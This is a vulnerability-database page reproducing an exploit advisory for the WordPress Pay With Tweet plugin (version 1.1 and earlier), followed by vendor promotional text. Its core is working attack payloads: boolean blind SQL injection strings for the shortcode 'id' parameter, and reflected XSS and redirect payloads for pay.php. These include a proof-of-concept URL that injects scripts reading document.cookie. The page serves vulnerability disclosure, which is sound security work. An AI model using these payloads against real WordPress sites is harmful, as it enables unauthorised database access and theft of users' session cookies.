Lucene search
K

wordpress pay with tweet plugin <= 1.1 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

WordPress Pay With Tweet plugin <= 1.1 - Multiple Vulnerabilities. Contains blind SQL injection and multiple XSS flaws in pay.ph

Code

                                                # Exploit Title: Wordpress Pay With Tweet plugin &#60;= 1.1 Multiple Vulnerabilities
# Date: 01/06/2012
# Author: Gianluca Brindisi (gATbrindi.si @gbrindisi http://brindi.si/g/)
# Software Link: http://downloads.wordpress.org/plugin/pay-with-tweet.1.1.zip
# Version: 1.1

1)  Blind SQL Injection in shortcode:
    Short code parameter &#39;id&#39; is prone to blind sqli, 
    you need to be able to write a post/page to exploit this:

    [paywithtweet id=&#34;1&#39; AND 1=2&#34;]
    [paywithtweet id=&#34;1&#39; AND 1=1&#34;]

2)  Multiple XSS in pay.php
    http://target.com/wp-content/plugins/pay-with-tweet.php/pay.php    
    
    After connecting to twitter:
        ?link=&22&#62;&#60;/input&#62;[XSS]
    After submitting the tweet:
        ?title=[XSS]&dl=[REDIRECT-TO-URL]%27)&#34;&#62;[XSS]

    The final download link will be replaced with [REDIRECT-TO-URL]

    POC: pay.php?link=%22&#62;&#60;/input&#62;&#60;script&#62;alert(document.cookie)&#60;/script&#62;&title=&#60;script&#62;alert(document.cookie)&#60;/script&#62;&dl=http://brindi.si%27&#34;&#62;&#60;script&#62;alert(document.cookie)&#60;/script&#62;
                        

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation